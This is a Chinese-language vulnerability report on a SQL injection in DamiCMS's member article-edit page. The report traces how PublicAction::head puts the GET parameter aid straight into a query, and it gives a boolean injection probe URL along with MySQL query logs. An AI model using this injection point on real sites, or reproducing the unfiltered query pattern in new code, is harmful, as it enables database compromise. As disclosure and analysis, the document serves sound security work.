上次提交了一次,原因没说明白,,看了半天搞清楚了 \Web\Lib\Action\MemberAction.class.php文件中 147-163行
function modpage(){ self::is_login(); $aid = intval($_REQUEST['aid']); if($_POST){ $_POST['status'] =0; $_POST['title'] = htmlspecialchars($_POST['title']); M('article')->where('dami_uid='.$_SESSION['dami_uid'].' and aid='.$aid)->save($_POST); $this->assign('jumpUrl',U('Member/tougaolist')); $this->success('修改成功~,请等待审核!'); }else{ $info = M('article')->where('dami_uid='.$_SESSION['dami_uid'].' and aid='.$aid)->find(); if(!$info){$this->error('记录不存在');exit();} self::pub_class($info['typeid']); $this->assign('info',$info); } $this->display(); }
可以看到aid这个参数aid被intval了 可是在我测试的时候,却发现aid这个参数是可以注入的。 再往上看。 开头
class MemberAction extends BaseAction { function _initialize() { R('Public','head'); $member_menu = S('member_menu'); if(!is_array($member_menu)){ $member_menu = M('member_menu')->where('is_show=1')->order('drand')->select(); S('member_menu',$member_menu); } $this->assign('member_menu',$member_menu); }
看下R这个函数 /Core/Common/functions.php
function R($module, $action, $app='@') { $class = A($module, $app); if ($class) return call_user_func(array(&$class, $action)); else return false; }
再来看看A /Core/Common/functions.php
function A($name, $app='@') { static $_action = array(); if (isset($_action[$app . $name])) return $_action[$app . $name]; $OriClassName = $name; if (strpos($name, '.')) { $array = explode('.', $name); $name = array_pop($array); $className = $name . 'Action'; import($app . '.Action.' . implode('.', $array) . '.' . $className); } else { $className = $name . 'Action'; import($app . '.Action.' . $className); } if (class_exists($className)) { $action = new $className(); $_action[$app . $OriClassName] = $action; return $action; } else { return false; } }
意思就是调用一个远程模块。 而回头看\Web\Lib\Action\MemberAction.class.php R('Public','head'); 结合函数A 和 R也就是调用了PublicAction前台公共action,里面的head函数。 我们再来看下head函数 /Web/Lib/Action/PublicAction.class.php
public function head() { //读取数据库和缓存 $type = M('type'); $article = M('article'); $config = F('basic','','./Web/Conf/'); //封装网站配置 $this->assign('config',$config); //滚动公告 $data['status'] = 1; $data['typeid'] = $config['noticeid']; $roll=$article->where($data)->field('aid,title')->order('addtime desc')->limit($config['rollnum'])->select(); //处理标题:防止标题过长撑乱页面 foreach ($roll as $k=>$v) { $roll[$k]['title'] = msubstr($v['title'],0,20,'utf-8'); } $this->assign('roll',$roll); //网站导航 $menu = $type->where('ismenu=1')->order('drank asc')->select(); foreach( $menu as $k=>$v) { $menuson[$k] = $type->where('fid='.$v['typeid'].' AND drank <> 0')->order('drank asc')->select(); $menu[$k]['submenu'] = $menuson[$k]; } $this->assign('menuson',$menuson); $this->assign('menu',$menu); //位置导航 $nav = '<a href="'.$config['siteurl'].'">首页</a>'; if(isset($_GET['aid'])) { $typeid = $article->where('aid='.$_GET['aid'])->getField('typeid'); } else { $typeid = intval($_GET['typeid']); } $typename = $type->where('typeid='.$typeid)->getField('typename'); $path = $type->where('typeid='.$typeid)->getField('path'); $typelist = explode('-',$path); //拼装导航栏字符串 foreach($typelist as $v) { if($v==0) continue; $s = $type->where('typeid='.$v)->getField('typename'); $nav.=" > <a href=\"".U('lists/'.$v)."\">{$s}</a>"; } $nav.=" > <a href=\"".U('lists/'.$typeid)."\">{$typename}</a>"; $this->assign('nav',$nav); //释放内存 unset($type,$article); $this->assign('head',TMPL_PATH.cookie('think_template').'/head.html'); $this->assign('footer',TMPL_PATH.cookie('think_template').'/footer.html'); }
看这里
//位置导航 $nav = '<a href="'.$config['siteurl'].'">首页</a>'; if(isset($_GET['aid'])) { $typeid = $article->where('aid='.$_GET['aid'])->getField('typeid'); }
这个aid没有经过过滤直接就带入到了sql中。 getField函数。 /Core/Lib/Think/Core/Model.class.php
public function getField($field,$condition='',$sepa=' ') { if(empty($condition) && isset($this->options['where'])) $condition = $this->options['where']; $options['where'] = $condition; $options['field'] = $field; $options = $this->_parseOptions($options); if(strpos($field,',')) { // 多字段 $resultSet = $this->db->select($options); if(!empty($resultSet)) { $field = explode(',',$field); $key = array_shift($field); $cols = array(); foreach ($resultSet as $result){ $name = $result[$key]; $cols[$name] = ''; foreach ($field as $val) $cols[$name] .= $result[$val].$sepa; $cols[$name] = substr($cols[$name],0,-strlen($sepa)); } return $cols; } }else{ // 查找一条记录 $options['limit'] = 1; $result = $this->db->select($options); if(!empty($result)) { return reset($result[0]); } } return null; }
获取一条记录的某个字段值 所以,总结一下。 在我们注册一个用户之后 发布一个投稿, 然后修改他
这个分类,就是保存在数据库中的,上面说的所有内容,就是通过文章修改这个函数 获得aid参数,然后用aid这个参数从type中查找类型,显示出来。 而查找这个过程的aid却没经过过滤,导致了注入的产生。
SELECT * FROM `dami_article` WHERE dami_uid=6 and aid=129 日志里,下面的这个,就是在修改文章这个函数中的aid是经过Intval的 而上面的这个 105 Query SELECT `typeid` FROM `dami_article` WHERE aid=129 LIMIT 1 105 Query SELECT `typename` FROM `dami_type` WHERE typeid=14 LIMIT 1 通过get传进来的aid函数,从article表中查找出typeid,然后再从type表中根据typeid来查找类型的名字(typeid)。 http://127.0.0.1/dami/index.php?m=member&a=modpage&aid=129 and 1=2 所以一个完整的sql操作就是这样的 108 Query SELECT `typeid` FROM `dami_article` WHERE aid=129 and 1=2 LIMIT 1 108 Query SELECT `typename` FROM `dami_type` WHERE typeid= LIMIT 1 108 Query SELECT `path` FROM `dami_type` WHERE typeid= LIMIT 1 108 Query SELECT * FROM `dami_article` WHERE dami_uid=6 and aid=129 LIMIT 1 108 Query SELECT typeid,typename,fid,concat(path,'-',typeid) as bpath FROM `dami_type` WHERE islink=0 and isuser=1 ORDER BY bpath 108 Query SELECT * FROM `dami_flash` WHERE status=1 ORDER BY rank asc 108 Query SELECT * FROM `dami_link` WHERE islogo=1 and status=1 ORDER BY rank asc LIMIT 8 108 Quit